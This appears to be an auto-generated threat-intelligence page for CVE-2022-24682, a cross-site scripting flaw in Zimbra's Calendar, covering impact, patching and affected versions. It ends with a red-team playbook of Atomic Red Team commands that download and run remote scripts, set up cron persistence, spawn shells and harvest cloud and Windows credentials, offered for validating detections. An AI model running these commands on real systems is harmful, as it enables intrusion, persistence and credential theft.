CVE-2022-24682
Overview
This vulnerability is a cross-site scripting (XSS) flaw rooted in improper encoding of HTML element attributes within the Calendar feature of the affected software. The issue arises because user-supplied HTML containing executable JavaScript is not correctly escaped, allowing injection of arbitrary markup into the document object model. The flaw specifically affects the rendering and processing of calendar event data in the Zimbra Collaboration Suite versions prior to 8.8.15 patch 30 (update 1).
Vulnerability Description
An issue was discovered in the Calendar feature in Zimbra Collaboration Suite 8.8.x before 8.8.15 patch 30 (update 1), as exploited in the wild starting in December 2021. An attacker could place HTML containing executable JavaScript inside element attributes. This markup becomes unescaped, causing arbitrary markup to be injected into the document.
Impact
An attacker can execute arbitrary JavaScript in the context of authenticated users’ browsers by injecting malicious code through the calendar interface. This allows theft of session tokens and unauthorized access to email communications and other sensitive user data within the collaboration suite. Exploitation requires no authentication but does require user interaction to trigger the malicious script. The business impact includes potential data breaches, unauthorized access to confidential communications, and compromise of user sessions within the affected environment.
Solution
Apply the official patch provided by Synacor in Zimbra Collaboration Suite version 8.8.15 patch 30 (update 1) or later as detailed in the Zimbra Security Advisories wiki (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories). Follow vendor instructions to upgrade affected installations to the fixed version. No specific workarounds are documented; timely application of the patch is recommended to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability within the Calendar feature of the Zimbra Collaboration Suite stems from improper handling of HTML content, specifically allowing executable JavaScript to be injected through element attributes. This occurs when user-supplied input is not adequately sanitized, leading to unescaped markup being processed by the application. As a result, an attacker can craft malicious HTML that, when rendered, executes arbitrary JavaScript in the context of the user's session. This flaw highlights a critical weakness in input validation and output encoding practices, which are essential for maintaining the integrity and security of web applications.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving social engineering techniques. An attacker might send a crafted calendar invitation containing the malicious HTML to a target user. Once the user accepts the invitation, the injected JavaScript executes within their browser, potentially allowing the attacker to perform actions such as stealing session cookies, redirecting the user to malicious sites, or executing further attacks on the user's system. Additionally, if the user has administrative privileges, the impact could extend to the entire organization, leading to widespread compromise.
The real-world implications of this vulnerability are significant, particularly for organizations that rely on the Zimbra Collaboration Suite for communication and collaboration. The potential for data theft, unauthorized access to sensitive information, and the disruption of business operations poses substantial risks. Organizations may face reputational damage, regulatory penalties, and financial losses as a result of successful exploitation. Furthermore, the fact that this vulnerability was actively exploited in the wild starting in December 2021 underscores the urgency for organizations to address it promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Zimbra Collaboration Suite to the latest patched version is crucial, as it contains fixes for known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application. Security awareness training for employees is also vital, as it equips them with the knowledge to recognize suspicious communications and avoid falling victim to social engineering attacks. Finally, conducting regular security assessments and penetration testing can help identify and remediate potential vulnerabilities before they can be exploited by attackers.
In conclusion, the vulnerability in the Calendar feature of the Zimbra Collaboration Suite represents a significant security risk that can lead to severe consequences for affected organizations. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect sensitive data but also enhance the overall security posture of the organization.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2022-24682, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s exploitation by ransomware groups, elevating its operational relevance within the threat landscape. Our telemetry indicates that exploit attempts, while not rapidly increasing, maintain a persistent presence, reflected by a substantial EPSS score that places this vulnerability near the top percentile of likely exploitation. The updated CVSS score to 6.1 further aligns with observed attacker behavior, confirming the medium severity classification as appropriate. Collectively, these developments signify a heightened risk posture for organizations running affected versions of the Zimbra Collaboration Suite, necessitating increased vigilance from defenders despite the absence of new exploit variants. The integration into the KEV catalog also accelerates the urgency for prioritized patching and monitoring, as threat actors have demonstrated capability and intent to leverage this flaw in ransomware campaigns.
Affected Products (31)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synacor | Zimbra Collaboration Suite | All |
cpe:2.3:a:synacor:zimbra_collaboration_suite:*:*:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
|
|
|
Synacor | Zimbra Collaboration Suite | 8.8.15 |
cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p25:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24682 |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Security_Center |
| volexity.com |
GitHub CVE
x_refsource_MISC
|
https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/ |
| blog.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://blog.zimbra.com/2022/02/hotfix-available-5-feb-for-zero-day-exploit-vulnerability-in-zimbra-8-8-15/ |
| wiki.zimbra.com |
GitHub CVE
x_refsource_MISC
|
https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P30 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-24682 |